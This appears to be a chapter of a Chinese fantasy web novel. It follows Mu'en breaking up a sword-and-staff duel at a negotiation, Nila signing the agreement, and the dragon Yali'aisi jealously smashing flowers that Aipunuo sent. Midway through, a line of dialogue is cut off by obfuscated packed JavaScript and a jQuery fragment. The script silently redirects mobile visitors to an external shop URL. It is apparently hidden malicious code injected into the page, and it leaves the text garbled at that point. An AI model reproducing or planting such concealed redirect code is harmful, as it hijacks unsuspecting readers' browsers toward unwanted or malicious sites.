二人惊呼的话音落了片刻,沐恩才犹犹豫豫地回应。
“我……我觉得谈判是刺杀大魔官的好机会,就潜进来了。”她有些尴尬地避开了尼菈和玻菲娅的凝视,“没想到现在会变成这样。”
空气又静了几秒。
“这种时候,能让一个小姑娘就这样潜到你身边。”玻菲娅在震惊之中忍不住调侃,“尼菈,你这骑士团是该解散了。”
“……不会说话可以不说的,玻菲娅。”尼菈又气又无奈地回。
两句一如既往的拌嘴,显得长久共事的交情如此真切,好像此刻剑拔弩张的气氛只是错觉。
亏得她们用武器指着对方,还能说出这话。沐恩有些哭笑不得。
“所以,你们还谈吗?”她不禁发问。
“没什么好谈的。”玻菲娅态度坚决,手中的法杖没有丝毫动摇,“倒不如直接开打,省得我浪费口舌。”
打架是属于尼菈的领域。玻菲娅如此挑衅,分明就是在期待争斗。
这场争斗到底能给你带来什么呢,玻菲娅……可是尼菈没有问出口,她知道现在的玻菲娅不会给出回答。
——也许,只有打到她松口,才能听到她的真心话。
思索至此,尼菈握着长剑的力道也紧了几分。
“打架?正合我意。”她微微扬起头,浑身已经散发出了危险的气息,“那就动手吧!”
说时迟那时快。
尼菈剑锋一转,没有棱角的剑身径直朝玻菲娅砸去。玻菲娅的法杖也收了几寸,凝出的旋风弹开了来袭的剑身,令尼菈踉跄了半步。
待尼菈站定,法球已然迎面而来。
按理,在玻菲娅这等魔法师的跟前,骑士的盔甲和长剑都会瞬间融化。
但是一种莫名的信任隐隐作祟,尼菈提着长剑成功劈开了暴雨般的法球之阵,然后毫发无损地来到了玻菲娅跟前。
尼菈凝住呼吸,顶着正在凝聚魔力的法杖,举起长剑。
“——这样你总该松口了吧,玻菲娅!!”
长剑落下的刹那,刺眼的光芒也顺法杖而出,直奔尼菈的胸膛。
这一次,她们都是认真的——谁赢得这场胜利,谁就能听到真话。
……可是谁都没有胜利。
光芒之中,一把暗红的长剑挑开了尼菈的劈砍,令尼菈失了平衡,一屁股坐在了地上。紧接着,它又狠狠地堵住了法杖,顶端的能量原地爆开,玻菲娅直接被推倒在地。
两人坐在地上,表情是同样的震惊和茫然。
只见立于中央的沐恩从容地收起长剑,不悦地望向这两位长辈。
“你们,做棋子还做上瘾了是吗?”
于是,在沐恩的搅和之下,这场谈判很快演变成了说教。
两个长辈在谈判桌那边安静如鸡,头也不敢抬地聆听沐恩的厉声批评。
“我看你们和大魔官才是一头的。他转移矛盾的目的已经这么明显了,你们还真的打算如他所愿大打出手。”
通过制造利益冲突,把皇家骑士团和神殿的矛盾转换为玻菲娅和尼菈的矛盾。这样大魔官就能隔岸观火,然后坐收渔利。
沐恩双臂撑在案上,眼神望向老师,沉声质问:“当初是谁一直教导我,武器永远要指向真正的敌人的?”
“又不是我想这样的。”尼菈心虚地嘟囔了一句,随即瞥了一眼身边垂头不言的玻菲娅,忍不住抱怨,“还不是因为玻菲娅什么都不说!这么多年了,还是这个臭毛病……”
但是沐恩懂得,玻菲娅的沉默通常不是刻意隐瞒,而是顾虑太多。这一点,自我感受至上的尼菈是永远不会理解的。
沐恩也不指望尼菈理解,目光落到玻菲娅的身上。
“所以,玻菲娅,到底是怎么回事?”
玻菲娅抿了抿唇,看看尼菈质问的神色,又看看沐恩关切的眼神。
又犹豫了半晌,她终于开了口:“我……我不想牵连你们。这是我犯下的错,我必须独自承担。”
此话一出,尼菈的耐心耗尽,眼看就要拍案而起。
有个声音突然闯了进来:“玻菲娅大人,你到底什么时候才能明白,你不需要为大魔官的错负责!”
——是陪同玻菲娅谈判的那个魔法师。尼菈和沐恩都认识,这是玻菲娅的左右手之一。
“沐恩小姐,尼菈团长,请你们原谅玻菲娅大人的缄默。她只是不希望出现更多的牺牲,所以打算独吞苦果,用自己的力量保护我们……”
结果,是这位魔法师代替玻菲娅说明了事情的缘由。
大魔官狄塞尔封锁魔宫之后,就带着他的人研读德拉贡夫人的资料,甚至还想说服玻菲娅参与进来。玻菲娅不同意,他就把手伸向了她手下的魔法师。
那些屈服的人,在颐指气使中度过日夜。没有屈服的,就会迎来身体上的重创。
“为了缓解我们的痛苦,玻菲娅大人不得不听从大魔官的命令,做一些不好的事——比如为皇家骑士团提供大量魔法弹,比如代替大魔官出席这次谈判。”
嗯……魔法弹这个,算不上不好吧。沐恩心想。毕竟大都落到了尼菈的手里,然后丢在了皇家骑士的身上。
此时,玻菲娅突然接过话头,满心歉疚地说:“我、我很抱歉,破坏骑士团不是我的本意,只是……如果我没能把签好的协议带回去,这一次,我就真的要失去他们了。”
手下魔法师的性命受到威胁,玻菲娅身为魔官不得不选择妥协。大部分人都能理解,除了尼菈。
她双手抱胸,不悦地问:“所以,你是打算为了你的魔法师,牺牲我的骑士团吗?”
“我倒希望自己能像那样自私。”玻菲娅瞪了一眼尼菈,随即解释道,“但是我知道骑士团的解散意味着什么,所以协议不能签。我只好换种方式,至少能救下几个人……”
玻菲娅的方式,就是恳求狄塞尔,允许她带更多的自己人前来谈判。然后,制造冲突,逼迫尼菈动手。这样,随行的魔法师就能趁乱逃走,彻底摆脱狄塞尔的掌控。
“那你呢?”尼菈有些担心地问。
“我还是要回魔宫去。毕竟狄塞尔不可能让我把所有自己人带出来,我不回去,他们就一点活路都没了。”
话说到这里,关于这场谈判的一切,仿佛都有了答案。
除了谈判桌上那份协议。
签了字,骑士团重组,德拉贡领就会彻底落入大魔官的手中;不签,玻菲娅和她的魔法师们,就要面临无止境的威胁。
沐恩垂下眼眸,望着谈判桌那头满脸愁苦的两人。
“你们在想什么?”她不解地问。
尼菈抬起手臂,用指尖敲了敲桌上的协议。
“这很重要吗?”她不解地追问。
尼菈厉声地回:“这事关权力存亡和子民生死。难道不重要吗?”
“可是这样的协议,以后还会有第二份、第三份——除非你们真的意识到,只有拿起武器面对敌人,才是唯一的解。”
沐恩的发言触动了玻菲娅心底一些未敢奢想的思绪。她想开口相劝,可是那颗渴望恢复自由的心隐隐作祟,最终还是什么都没有说。
倒是尼菈语气急躁地斥责沐恩道:“沐恩,我已经跟你说得很清楚了,有些事情不是你该考虑的,你不能……”
“——我也不想这样的,老师。”她打断了尼菈的说教,用渴求理解的语气争辩,“如果有人愿意替我做一只出头鸟,为母亲报仇,恢复我的自由,我根本不会想做任何冒险的事。可是我的所求,只能由我自己争取,不是吗?”
不知道是哪个字眼触动了尼菈,她的厉色忽的收了些许,思索的目光在沐恩的身上停留了片刻。
本以为老师在沉默之后,会用更多的道理压制她的想法。令人没想到的是,尼菈直接拽过桌上的协议,飞快地签上了大名。
玻菲娅在一旁呼吸一凝。
“尼菈!你这是在做什么!”玻菲娅惊呼一声,连忙拿起协议,多希望自己有抹去墨迹的本领。
尼菈甩掉羽毛笔,不慌不忙地靠进椅背,把双腿架在了谈判桌上,凝望沐恩的眼神里带着犀利和警告。
“你最好记住你说的话——如果有人替你做了出头鸟,你就不会再有任何冒险的举动。”
虽然没能找到刺杀大魔官的机会,但是沐恩知道,老师已经准备和玻菲娅联手举起叛旗了。这是好消息。
不过坏消息是,尼菈仍然拒绝让她参与。
那日谈判的最后,尼菈要求单独和玻菲娅谈话,把闲杂人等——特别是沐恩——轰出了办公室。
……老师和玻菲娅都是在替她冒险反抗。她怎么可能袖手旁观。
更重要的是,母亲的仇,她必须要亲自来报。
于是,回到酒窖之后,沐恩即刻拟信一封,并交给了佐菲。
“领地的魔宫和神殿已经决定共同反抗。老师佯装签署了重组协议,应该是有所打算了。我想艾普诺一定不想错过这个机会。”说完,她便递出信笺,请佐菲帮忙转交给艾普诺。
然后一连几天,杳无音讯。连佐菲都成日不见人影。
她只能在苍白的等待中一次次潜伏于神殿附近,试图观察他们的动向。可是除了搬弄武器和日常训练的声响,再无其他。
转眼又是一日清晨,阴雨滂沱。
沐恩被雷鸣叫醒,从床上坐起身来,房间的幽暗令她的心情更加烦闷。
转过视线,枕边那只圆滚滚的巨龙还缩成一团熟睡着。
……是错觉吗?好像比以往缩得更紧了些。
她望着窗外倾盆的大雨,忍不住搓了搓冰冷的指尖,然后抬手把被角盖在了亚里艾斯的身上,随即起床梳洗。
整理完毕,沐恩走下楼梯,恰好看见了门口的佐菲。
他显然刚从外面回来,正在拧干湿透的斗篷。斗篷上绣着暗红色的德拉贡家徽——这是魔宫和神殿专用的斗篷。
“早安,佐菲。”沐恩迎上前,指着斗篷问,“你刚从神殿回来吗?”
佐菲连忙理了理衣袖,行礼回道:“是的,沐恩小姐。艾普诺派我尽早与尼菈团长交涉,现在我们的人已经在参与部署了。”
所以,艾普诺早就回信了。只不过是回给了佐菲。
沐恩无言地垂了眼帘。
似是看出了她的心绪,佐菲浅浅一笑,忙道:“对了,小姐。艾普诺托我带的东西,一直没时间交给你。”
说着,他引沐恩来到案前。案上躺着一张花了墨迹的信笺,还有一束沾满水珠的玛格丽特。
“我很抱歉,他的信已经湿透了。还好这束花没有受到影响。”他把玛格丽特递到沐恩的手里,继续说,“艾普诺说,他看到这种花的瞬间就想到了你,觉得这就是属于你的品种。他希望你能把它和茶花放到一起。”
她茫然地应了一个好字,看向手中的花束。
圣洁的纯白,明朗的橙黄,每一小小的花朵之上都残留着经历暴雨洗礼的痕迹,反而让它们的盛开显得更加恣意和张扬。
虽然不知道艾普诺为什么会由此联想到她,但是,她喜欢这束玛格丽特——不只因为它是艾普诺的赠礼。
花香只能带来片刻的宁静。沐恩必须要回到现实。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697236|208011||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚才你说你们在参与部署。老师已经决定行动了吗?在哪天,计划是什么?”她向佐菲询问道。
佐菲面露难色,犹豫了半晌才回:“团长似乎猜到你会问我,所以她没有全部告知,我只知道自己负责的那部分计划……”
行动当天,佐菲会带着酒窖的打手和部分骑士,与三台火炮正面迎击驻守在魔宫的皇家骑士。
至于行动的时间,佐菲补充说,需要等火炮到位再决定。毕竟,火炮要慢慢推,免得打草惊蛇。
待佐菲说完,沐恩不禁有些头疼。
看来老师已经猜透了她的小心思,借佐菲套话的算盘恐怕是打不动了。
也罢。至少她知道了近期老师会在魔宫展开行动……大概率是为了救出玻菲娅和她的魔法师们。
沐恩谢过佐菲之后,带着花束迈上台阶。
看来最近要加强训练了。
——也许那一天,她就能在战场上,手刃母亲的仇敌。
回到房间,沐恩打算先处理好这些玛格丽特,然后再找个地方练剑。
亚里艾斯已经睡醒了,正坐在窗台上鼓捣胸口的纱布。
“不用缠纱布了吗?”沐恩见他的手边没有新的纱布,开口问道,“胸口的伤痊愈了?”
亚里艾斯用爪子按了两下伤口,回道:“应该是痊愈了。”
“那鳞片呢,也已经长好了?”
他扭着身子,反手摸了摸,又回:“应该长好了。”
……什么叫应该。根本就是没怎么受过伤,也不知道怎样算好了吧。
沐恩在心里抱怨了一会,随即沉沉地叹了口气。
“过来我看看。”说着,她放下手里的花,在床头柜上腾出一块地方。
亚里艾斯转过小脑袋望了她一眼,犹豫片刻还是从窗台上跳了下来,走到她跟前乖乖坐下。
她提起他的左爪,凑上前去观察。
法杖算是锐器,当时凶手还在他的胸口搅弄了一番,因而留下一个洞。现在已经长好,在皮肤上凝成裂隙一般的疤。
此时,亚里艾斯偏了目光,正好落在花瓶之上。
多了一种花。但是这两种都带着他不喜欢的味道——那股在她身上停留过的,另一个人类的味道。
所以说,这些脏东西能不能离她远一点啊!他一边在心里抱怨,一边伸出张开鳞甲的右爪,想要掐断这些花。
突然,就在触碰到花梗的瞬间,他感受到时空在震颤。
——是权柄!这一次,是一朵破花做了媒介。
意识像是从悬崖坠落,然后狠狠地摔在了地上。他恍惚了片刻才睁开眼睛,发现自己正站在夜色之下,远处传来马匹的咀嚼声。
转过视线,他看见两个相互走近的人影。
是沐恩。和那只浑身都是茶花味的金毛人类。
他听见了二人温柔的低语,也听见了二人异常的心跳。
可他只是一道幻影。沐恩看不到他,也看不到那双茫然而苦涩的竖瞳。
时空崩塌的声响忽的再次传来。
他在离开前最后一次望向沐恩,看到她又一次主动靠近那只金毛,几乎要埋进那人的胸膛。
是拥抱吗?他没看清。
但是,他看得很清楚的是,对她而言,那只金毛是不一样的。
“……亚里艾斯!亚里艾斯!”
耳边传来熟悉的呼唤,把他从恶心的眩晕感中唤了出来。
他甩甩脑袋,视线重新对焦,看清了眼前的沐恩,还有她眼中担忧。
“刚刚是怎么回事?我突然就看不见你了。”她皱着眉问。
“是权柄。我回到过去了。”
“什么时候的过去?你都看到了什么?”
“我看到你,和一只金毛。”
沐恩好看的五官拧作一团。
“……金毛?”她有些困惑地重复了一遍。
亚里艾斯抬起头,对上她此刻清冷的目光,继续说:“你们靠得很近,你还把斗篷披在了他的身上。”
沐恩怔了怔,一时间觉得尴尬又慌乱,只好别过了头。
他的竖瞳依然追着她,认真地问:“你对他,和对其他人类不一样。这就是你们人类所谓的‘特别’吗?”
她没有回答。可他捕捉到了她眼中的闪烁。
好像这就是她的回答。难怪玻菲娅曾经说过:沐恩愿意主动走向的那个人,一定就是她的特别之人。
“可是为什么……”亚里艾斯的竖瞳锁紧她的眼,语气里藏着自己都未察觉的委屈和质问,“为什么是他?”
……等一下。
怎么就快进到为什么的环节了?
她也没承认艾普诺是“特别”的啊!
“首先,艾普诺没有不一样,也不是特别。其次,这不是你能理解的东西。最后,这段时间我会很忙,如果你实在无聊的话,可以多出去走一走。”
说完,沐恩便提起龙鳞剑,关门而去。
仓惶逃离的脚步声一下又一下渐行渐远,一个又一个问题却迎面而来。
为什么撒谎,又为什么逃避?
为什么那只人类明明什么都没有做,就可以成为别人的“特别”?
倾盆的暴雨声中,突然一道惊雷在窗外炸开,刚好掩盖了一阵凌乱而破碎的声响。
回归寂静之时,亚里艾斯像是没有动过一般坐在床头柜上,向下睥睨。
地面,精致的瓷瓶摔了粉碎,徒留一片狼藉。而其中的那些花朵,已然失去了鲜妍的模样,每块碎屑都撕裂得十分狰狞。
——就像凶手那颗不解又无措的心。